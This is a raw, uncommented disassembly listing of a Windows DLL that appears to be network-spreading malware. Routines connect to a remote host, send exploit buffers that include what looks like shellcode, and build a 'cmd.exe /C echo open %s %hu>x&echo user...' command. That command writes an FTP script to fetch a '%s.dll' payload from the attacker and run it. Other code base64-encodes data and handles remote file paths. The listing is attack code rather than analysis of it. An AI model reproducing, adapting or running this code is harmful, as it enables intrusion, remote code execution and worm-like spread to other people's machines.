		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:send	; send
		cmp	eax, 4
		jz	short loc_100019BD
		xor	al, al
		jmp	short loc_100019DB
; ---------------------------------------------------------------------------

loc_100019BD:				; CODE XREF: sub_10001991+26j
		push	0		; flags
		mov	eax, [ebp+len]
		push	eax		; len
		mov	ecx, [ebp+arg_4]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:send	; send
		xor	ecx, ecx
		cmp	eax, [ebp+len]
		setz	cl
		mov	al, cl

loc_100019DB:				; CODE XREF: sub_10001991+2Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_10001991	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_100019DF(SOCKET s,void *Src,int)

sub_100019DF	proc near		; CODE XREF: sub_10001BDB+5Ep

Memory		= dword	ptr -10Ch
len		= dword	ptr -108h
var_104		= dword	ptr -104h
buf		= byte ptr -100h
s		= dword	ptr  8
Src		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		mov	eax, [ebp+arg_8]
		add	eax, 41h
		mov	[ebp+len], eax
		mov	ecx, [ebp+len]
		push	ecx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Memory], eax
		cmp	[ebp+Memory], 0
		jnz	short loc_10001A1A
		xor	al, al
		jmp	loc_10001BD7
; ---------------------------------------------------------------------------

loc_10001A1A:				; CODE XREF: sub_100019DF+32j
		mov	edx, [ebp+len]
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+Memory]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	[ebp+var_104], 0
		push	2Fh		; Size
		push	offset dword_1000E128 ;	Src
		mov	ecx, [ebp+Memory]
		push	ecx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_104]
		add	edx, 2Fh
		mov	[ebp+var_104], edx
		mov	eax, [ebp+Memory]
		add	eax, [ebp+var_104]
		mov	cx, word ptr [ebp+arg_8]
		mov	[eax], cx
		mov	edx, [ebp+var_104]
		add	edx, 2
		mov	[ebp+var_104], edx
		push	8		; Size
		push	offset dword_1000E158 ;	Src
		mov	eax, [ebp+Memory]
		add	eax, [ebp+var_104]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	ecx, [ebp+var_104]
		add	ecx, 8
		mov	[ebp+var_104], ecx
		mov	edx, [ebp+Memory]
		add	edx, [ebp+var_104]
		mov	ax, word ptr [ebp+arg_8]
		mov	[edx], ax
		mov	ecx, [ebp+var_104]
		add	ecx, 2
		mov	[ebp+var_104], ecx
		mov	edx, [ebp+arg_8]
		push	edx		; Size
		mov	eax, [ebp+Src]
		push	eax		; Src
		mov	ecx, [ebp+Memory]
		add	ecx, [ebp+var_104]
		push	ecx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_104]
		add	edx, [ebp+arg_8]
		mov	[ebp+var_104], edx
		push	6		; Size
		push	offset dword_10012A48 ;	Src
		mov	eax, [ebp+Memory]
		add	eax, [ebp+var_104]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	ecx, [ebp+var_104]
		add	ecx, 6
		mov	[ebp+var_104], ecx
		push	85h		; len
		push	offset dword_1000E0A0 ;	int
		mov	edx, [ebp+s]
		push	edx		; s
		call	sub_10001991
		add	esp, 0Ch
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_10001B5A
		mov	eax, [ebp+Memory]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		xor	al, al
		jmp	short loc_10001BD7
; ---------------------------------------------------------------------------

loc_10001B5A:				; CODE XREF: sub_100019DF+165j
		push	0		; flags
		push	100h		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	sub_1000180B
		add	esp, 10h
		mov	eax, [ebp+len]
		push	eax		; len
		mov	ecx, [ebp+Memory]
		push	ecx		; int
		mov	edx, [ebp+s]
		push	edx		; s
		call	sub_10001991
		add	esp, 0Ch
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_10001BAB
		mov	eax, [ebp+Memory]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		xor	al, al
		jmp	short loc_10001BD7
; ---------------------------------------------------------------------------

loc_10001BAB:				; CODE XREF: sub_100019DF+1B6j
		push	0		; flags
		push	100h		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	sub_1000180B
		add	esp, 10h
		mov	eax, [ebp+Memory]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	al, 1

loc_10001BD7:				; CODE XREF: sub_100019DF+36j
					; sub_100019DF+179j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_100019DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10001BDB(SOCKET s,void *Src,int)

sub_10001BDB	proc near		; CODE XREF: sub_10001EBF+193p

buf		= byte ptr -20h
s		= dword	ptr  8
Src		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0		; flags
		push	48h		; len
		push	offset buf	; ""
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		cmp	eax, 48h
		jz	short loc_10001BFD
		xor	al, al
		jmp	short loc_10001C41
; ---------------------------------------------------------------------------

loc_10001BFD:				; CODE XREF: sub_10001BDB+1Cj
		push	0		; flags
		push	20h		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	sub_1000180B
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10001C1A
		xor	al, al
		jmp	short loc_10001C41
; ---------------------------------------------------------------------------

loc_10001C1A:				; CODE XREF: sub_10001BDB+39j
		mov	eax, dword ptr [ebp+buf]
		and	eax, 0FFh
		cmp	eax, 82h
		jz	short loc_10001C2D
		xor	al, al
		jmp	short loc_10001C41
; ---------------------------------------------------------------------------

loc_10001C2D:				; CODE XREF: sub_10001BDB+4Cj
		mov	ecx, [ebp+arg_8]
		push	ecx		; int
		mov	edx, [ebp+Src]
		push	edx		; Src
		mov	eax, [ebp+s]
		push	eax		; s
		call	sub_100019DF
		add	esp, 0Ch

loc_10001C41:				; CODE XREF: sub_10001BDB+20j
					; sub_10001BDB+3Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_10001BDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001C45	proc near		; CODE XREF: .text:10001CFBp

var_2C		= qword	ptr -2Ch
var_24		= qword	ptr -24h
var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_0]
		shl	eax, 3
		mov	dword ptr [ebp+var_C], eax
		mov	dword ptr [ebp+var_C+4], 0
		fild	[ebp+var_C]
		fdiv	ds:dbl_1000C220
		call	_ftol	; _ftol
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ebp+var_14],	ecx
		mov	dword ptr [ebp+var_14+4], 0
		fild	[ebp+var_14]
		fstp	[ebp+var_1C]
		mov	edx, [ebp+var_4]
		mov	dword ptr [ebp+var_24],	edx
		mov	dword ptr [ebp+var_24+4], 0
		fild	[ebp+var_24]
		fdiv	ds:dbl_1000C218
		sub	esp, 8
		fstp	[esp+2Ch+var_2C]
		call	ds:floor	; floor
		add	esp, 8
		fadd	st, st
		fadd	[ebp+var_1C]
		call	_ftol	; _ftol
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_10001C45	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_1000BC72
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		mov	dword ptr [ebp-3Ch], 0
		lea	eax, [ebp-38h]
		push	eax
		lea	ecx, [ebp-20h]
		call	ds:??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::allocator<char> const &)
		mov	dword ptr [ebp-4], 1
		mov	ecx, [ebp+10h]
		push	ecx
		call	sub_10001C45
		add	esp, 4
		push	eax
		lea	ecx, [ebp-20h]
		call	ds:?reserve@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEXI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::reserve(uint)
		mov	dword ptr [ebp-10h], 0

loc_10001D14:				; CODE XREF: .text:loc_10001E87j
		cmp	dword ptr [ebp+10h], 0
		jbe	loc_10001E8C
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_10001D2D
		mov	dword ptr [ebp-30h], 3
		jmp	short loc_10001D49
; ---------------------------------------------------------------------------

loc_10001D2D:				; CODE XREF: .text:10001D22j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_10001D3C
		mov	dword ptr [ebp-30h], 2
		jmp	short loc_10001D49
; ---------------------------------------------------------------------------

loc_10001D3C:				; CODE XREF: .text:10001D31j
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_10001D49
		mov	dword ptr [ebp-30h], 1

loc_10001D49:				; CODE XREF: .text:10001D2Bj
					; .text:10001D3Aj ...
		mov	edx, [ebp-30h]
		mov	[ebp-44h], edx
		mov	dword ptr [ebp-40h], 0
		fild	qword ptr [ebp-44h]
		fmul	ds:dbl_1000C228
		fdiv	ds:dbl_1000C220
		sub	esp, 8
		fstp	qword ptr [esp]
		call	ds:ceil	; ceil
		add	esp, 8
		call	_ftol	; _ftol
		mov	[ebp-2Ch], eax
		mov	dword ptr [ebp-34h], 0
		jmp	short loc_10001D8E
; ---------------------------------------------------------------------------

loc_10001D85:				; CODE XREF: .text:10001DA5j
		mov	eax, [ebp-34h]
		add	eax, 1
		mov	[ebp-34h], eax

loc_10001D8E:				; CODE XREF: .text:10001D83j
		mov	ecx, [ebp-34h]
		cmp	ecx, [ebp-30h]
		jnb	short loc_10001DA7
		mov	edx, [ebp+0Ch]
		add	edx, [ebp-34h]
		mov	eax, [ebp-34h]
		mov	cl, [edx]
		mov	[ebp+eax-28h], cl
		jmp	short loc_10001D85
; ---------------------------------------------------------------------------

loc_10001DA7:				; CODE XREF: .text:10001D94j
		mov	edx, [ebp+0Ch]
		add	edx, [ebp-30h]
		mov	[ebp+0Ch], edx
		mov	eax, [ebp+10h]
		sub	eax, [ebp-30h]
		mov	[ebp+10h], eax
		movsx	ecx, byte ptr [ebp-28h]
		and	ecx, 0FCh
		sar	ecx, 2
		mov	[ebp-24h], cl
		movsx	edx, byte ptr [ebp-28h]
		and	edx, 3
		shl	edx, 4
		movsx	eax, byte ptr [ebp-27h]
		and	eax, 0F0h
		sar	eax, 4
		add	edx, eax
		mov	[ebp-23h], dl
		movsx	ecx, byte ptr [ebp-27h]
		and	ecx, 0Fh
		movsx	edx, byte ptr [ebp-26h]
		and	edx, 0C0h
		sar	edx, 6
		lea	eax, [edx+ecx*4]
		mov	[ebp-22h], al
		movsx	ecx, byte ptr [ebp-26h]
		and	ecx, 3Fh
		mov	[ebp-21h], cl
		mov	dword ptr [ebp-34h], 0
		jmp	short loc_10001E1A
; ---------------------------------------------------------------------------

loc_10001E11:				; CODE XREF: .text:10001E45j
		mov	edx, [ebp-34h]
		add	edx, 1
		mov	[ebp-34h], edx

loc_10001E1A:				; CODE XREF: .text:10001E0Fj
		mov	eax, [ebp-34h]
		cmp	eax, [ebp-2Ch]
		jnb	short loc_10001E47
		mov	ecx, [ebp-34h]
		movsx	edx, byte ptr [ebp+ecx-24h]
		mov	al, byte_1000E1B0[edx]
		push	eax
		push	1
		lea	ecx, [ebp-20h]
		call	ds:?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ;	std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx
		jmp	short loc_10001E11
; ---------------------------------------------------------------------------

loc_10001E47:				; CODE XREF: .text:10001E20j
		cmp	dword ptr [ebp-10h], 48h
		jb	short loc_10001E61
		mov	edx, [ebp+14h]
		push	edx
		lea	ecx, [ebp-20h]
		call	ds:?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(char const	*)
		mov	dword ptr [ebp-10h], 0

loc_10001E61:				; CODE XREF: .text:10001E4Bj
		mov	eax, [ebp-2Ch]
		mov	[ebp-34h], eax
		jmp	short loc_10001E72
; ---------------------------------------------------------------------------

loc_10001E69:				; CODE XREF: .text:10001E85j
		mov	ecx, [ebp-34h]
		add	ecx, 1
		mov	[ebp-34h], ecx

loc_10001E72:				; CODE XREF: .text:10001E67j
		cmp	dword ptr [ebp-34h], 4
		jnb	short loc_10001E87
		push	3Dh
		push	1
		lea	ecx, [ebp-20h]
		call	ds:?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ;	std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
		jmp	short loc_10001E69
; ---------------------------------------------------------------------------

loc_10001E87:				; CODE XREF: .text:10001E76j
		jmp	loc_10001D14
; ---------------------------------------------------------------------------

loc_10001E8C:				; CODE XREF: .text:10001D18j
		lea	edx, [ebp-20h]
		push	edx
		mov	ecx, [ebp+8]
		call	ds:??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z	; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const &)
		mov	eax, [ebp-3Ch]
		or	al, 1
		mov	[ebp-3Ch], eax
		mov	byte ptr [ebp-4], 0
		lea	ecx, [ebp-20h]
		call	ds:??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string<char,std::char_traits<char>,std::allocator<char>>(void)
		mov	eax, [ebp+8]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001EBF	proc near		; DATA XREF: sub_1000A1A9+26Eo

var_44C		= byte ptr -44Ch
name		= sockaddr ptr -444h
Dest		= byte ptr -434h
var_424		= dword	ptr -424h
Src		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
hostshort	= word ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
Dst		= byte ptr -40Ch
var_40B		= byte ptr -40Bh
var_37D		= byte ptr -37Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
s		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 44Ch
		push	edi
		mov	[ebp+Dst], 0
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_40B]
		rep stosd
		stosw
		stosb
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	dword ptr [ebp+hostshort], ecx
		mov	edx, [eax+4]
		mov	[ebp+var_414], edx
		mov	eax, [eax+8]
		mov	[ebp+var_410], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx+8], 1
		push	8Fh		; Size
		push	offset dword_1000E35C ;	Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		call	sub_10006FA2
		push	eax
		push	offset Format	; "%s.dll"
		push	10h		; Count
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		lea	edx, [ebp+Dest]
		push	edx
		lea	eax, [ebp+Dest]
		push	eax
		xor	ecx, ecx
		mov	cx, hostshort
		push	ecx
		push	offset Dest
		push	offset aCmd_exeCEchoOp ; "cmd.exe /C echo open %s %hu>x&echo user"...
		push	400h		; Count
		lea	edx, [ebp+var_37D]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, 90h
		mov	[ebp+var_424], eax
		mov	ecx, [ebp+var_424]
		push	ecx
		lea	edx, [ebp+Dst]
		push	edx
		push	164h
		push	offset aSvwfbA	; "SVWfì€"
		lea	eax, [ebp+var_44C]
		push	eax
		call	sub_10001433
		add	esp, 14h
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	[ebp+Src], ecx
		mov	[ebp+var_41C], edx
		cmp	[ebp+var_41C], 0
		jnz	short loc_10001FD6
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4

loc_10001FD6:				; CODE XREF: sub_10001EBF+10Aj
		push	6		; protocol
		push	1		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0FFFFFFFFh
		jz	short loc_10002064
		mov	[ebp+name.sa_family], 2
		mov	ax, [ebp+hostshort]
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	word ptr [ebp+name.sa_data], ax
		mov	ecx, [ebp+var_414]
		mov	dword ptr [ebp+name.sa_data+2],	ecx
		push	8		; Size
		push	0		; Val
		lea	edx, [ebp+name.sa_data+6]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	10h		; namelen
		lea	eax, [ebp+name]
		push	eax		; name
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:connect	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_1000205A
		mov	edx, [ebp+var_41C]
		push	edx		; int
		mov	eax, [ebp+Src]
		push	eax		; Src
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	sub_10001BDB
		add	esp, 0Ch

loc_1000205A:				; CODE XREF: sub_10001EBF+17Fj
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket

loc_10002064:				; CODE XREF: sub_10001EBF+12Aj
		lea	ecx, [ebp+Src]
		call	sub_1000113B
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4
		xor	eax, eax
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10001EBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002083	proc near		; DATA XREF: .data:1000E004o
		push	ebp
		mov	ebp, esp
		call	sub_10002092
		call	sub_100020A2
		pop	ebp
		retn
sub_10002083	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002092	proc near		; CODE XREF: sub_10002083+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012A41
		call	ds:??0Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::Init(void)
		pop	ebp
		retn
sub_10002092	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100020A2	proc near		; CODE XREF: sub_10002083+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_100020B4 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_100020A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_100020B4()

sub_100020B4	proc near		; DATA XREF: sub_100020A2+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012A41
		call	ds:??1Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::~Init(void)
		pop	ebp
		retn
sub_100020B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100020C4	proc near		; DATA XREF: .data:1000E008o
		push	ebp
		mov	ebp, esp
		call	sub_100020D3
		call	sub_100020E3
		pop	ebp
		retn
sub_100020C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100020D3	proc near		; CODE XREF: sub_100020C4+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012A40
		call	ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
		pop	ebp
		retn
sub_100020D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100020E3	proc near		; CODE XREF: sub_100020C4+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_100020F5 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_100020E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_100020F5()

sub_100020F5	proc near		; DATA XREF: sub_100020E3+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012A40
		call	ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
		pop	ebp
		retn
sub_100020F5	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10002110(char	*Str)

sub_10002110	proc near		; CODE XREF: sub_10002157+26Ap

var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_10002126
; ---------------------------------------------------------------------------

loc_1000211D:				; CODE XREF: sub_10002110:loc_1000214Ej
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_10002126:				; CODE XREF: sub_10002110+Bj
		mov	ecx, [ebp+Str]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		cmp	[ebp+var_4], eax
		jnb	short loc_10002150
		mov	edx, [ebp+Str]
		add	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 5Ch
		jnz	short loc_1000214E
		mov	ecx, [ebp+Str]
		add	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Fh

loc_1000214E:				; CODE XREF: sub_10002110+33j
		jmp	short loc_1000211D
; ---------------------------------------------------------------------------

loc_10002150:				; CODE XREF: sub_10002110+25j
		mov	eax, [ebp+Str]
		mov	esp, ebp
		pop	ebp
		retn
sub_10002110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10002157(char	Parameter,int,__int16,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,__int16,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,__int16,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,__int16,SOCKET s,char	*Source)

sub_10002157	proc near		; CODE XREF: sub_1000329E+652p

var_318		= dword	ptr -318h
var_311		= byte ptr -311h
hObject		= dword	ptr -310h
Str		= byte ptr -30Ch
var_30B		= byte ptr -30Bh
var_30A		= byte ptr -30Ah
var_20C		= dword	ptr -20Ch
Dst		= byte ptr -208h
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
FileName	= byte ptr -100h
Parameter	= byte ptr  8
arg_4		= dword	ptr  0Ch
Dest		= byte ptr  12h
arg_10A		= byte ptr  112h
arg_20A		= byte ptr  212h
arg_30A		= byte ptr  312h
s		= dword	ptr  313h
Source		= dword	ptr  318h

		push	ebp
		mov	ebp, esp
		sub	esp, 318h
		push	esi
		mov	byte ptr [ebp+var_20C],	0
		push	100h		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	ecx, [ebp+Source]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Fh
		jz	short loc_100021AF
		mov	eax, [ebp+Source]
		push	eax
		push	offset aS_5	; "\\%s"
		push	0FFh		; Count
		lea	ecx, [ebp+Str]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		jmp	short loc_100021D4
; ---------------------------------------------------------------------------

loc_100021AF:				; CODE XREF: sub_10002157+33j
		mov	edx, [ebp+Source]
		mov	byte ptr [edx],	5Ch
		push	0FFh		; Count
		mov	eax, [ebp+Source]
		push	eax		; Source
		lea	ecx, [ebp+Str]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch

loc_100021D4:				; CODE XREF: sub_10002157+56j
		mov	[ebp+var_104], 0
		mov	[ebp+var_108], 0
		jmp	short loc_10002208
; ---------------------------------------------------------------------------

loc_100021EA:				; CODE XREF: sub_10002157:loc_100022D9j
		mov	edx, [ebp+var_104]
		add	edx, 1
		mov	[ebp+var_104], edx
		mov	eax, [ebp+var_108]
		add	eax, 1
		mov	[ebp+var_108], eax

loc_10002208:				; CODE XREF: sub_10002157+91j
		lea	ecx, [ebp+Str]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		cmp	[ebp+var_104], eax
		jnb	loc_100022DE
		mov	esi, [ebp+var_104]
		add	esi, 2
		lea	edx, [ebp+Str]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		cmp	esi, eax
		jnb	short loc_10002297
		mov	eax, [ebp+var_104]
		movsx	ecx, [ebp+eax+Str]
		cmp	ecx, 25h
		jnz	short loc_10002297
		mov	edx, [ebp+var_104]
		movsx	eax, [ebp+edx+var_30B]
		cmp	eax, 32h
		jnz	short loc_10002297
		mov	ecx, [ebp+var_104]
		movsx	edx, [ebp+ecx+var_30A]
		cmp	edx, 30h
		jnz	short loc_10002297
		mov	eax, [ebp+var_108]
		mov	[ebp+eax+Dst], 20h
		mov	ecx, [ebp+var_104]
		add	ecx, 2
		mov	[ebp+var_104], ecx
		jmp	short loc_100022D9
; ---------------------------------------------------------------------------

loc_10002297:				; CODE XREF: sub_10002157+E6j
					; sub_10002157+F9j ...
		mov	edx, [ebp+var_104]
		movsx	eax, [ebp+edx+Str]
		cmp	eax, 2Fh
		jnz	short loc_100022B3
		mov	[ebp+var_311], 5Ch
		jmp	short loc_100022C6
; ---------------------------------------------------------------------------

loc_100022B3:				; CODE XREF: sub_10002157+151j
		mov	ecx, [ebp+var_104]
		mov	dl, [ebp+ecx+Str]
		mov	[ebp+var_311], dl

loc_100022C6:				; CODE XREF: sub_10002157+15Aj
		mov	eax, [ebp+var_108]
		mov	cl, [ebp+var_311]
		mov	[ebp+eax+Dst], cl

loc_100022D9:				; CODE XREF: sub_10002157+13Ej
		jmp	loc_100021EA
; ---------------------------------------------------------------------------

loc_100022DE:				; CODE XREF: sub_10002157+C6j
		lea	edx, [ebp+Dst]
		push	edx
		lea	eax, [ebp+arg_20A]
		push	eax
		push	offset aSS	; "%s%s"
		push	0FFh		; Count
		lea	ecx, [ebp+FileName]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 14h
		push	offset Delim	; "\n"
		lea	edx, [ebp+FileName]
		push	edx		; Str
		call	ds:strtok	; strtok
		add	esp, 8
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	ds:GetFileAttributesA	; GetFileAttributesA
		mov	[ebp+var_318], eax
		cmp	[ebp+var_318], 10h
		jz	short loc_10002342
		cmp	[ebp+var_318], 0FFFFFFFFh
		jz	short loc_1000234B
		jmp	short loc_1000235D
; ---------------------------------------------------------------------------

loc_10002342:				; CODE XREF: sub_10002157+1DEj
		mov	byte ptr [ebp+var_20C],	1
		jmp	short loc_1000235D
; ---------------------------------------------------------------------------

loc_1000234B:				; CODE XREF: sub_10002157+1E7j
		mov	ecx, [ebp+s+1]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		jmp	loc_100024A0
; ---------------------------------------------------------------------------

loc_1000235D:				; CODE XREF: sub_10002157+1E9j
					; sub_10002157+1F2j
		mov	edx, [ebp+var_108]
		movsx	eax, byte ptr [ebp+edx+var_20C+3]
		cmp	eax, 5Ch
		jnz	short loc_10002377
		mov	byte ptr [ebp+var_20C],	1

loc_10002377:				; CODE XREF: sub_10002157+217j
		mov	ecx, [ebp+var_20C]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_100023F5
		push	0FFh		; Count
		push	offset Source	; "*"
		lea	edx, [ebp+FileName]
		push	edx		; Dest
		call	ds:strncat	; strncat
		add	esp, 0Ch
		push	0FFh		; Count
		lea	eax, [ebp+FileName]
		push	eax		; Source
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		lea	edx, [ebp+Dst]
		push	edx		; Str
		call	sub_10002110
		add	esp, 4
		push	0FFh		; Count
		lea	eax, [ebp+Dst]
		push	eax		; Source
		lea	ecx, [ebp+arg_10A]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		mov	[ebp+arg_30A], 1
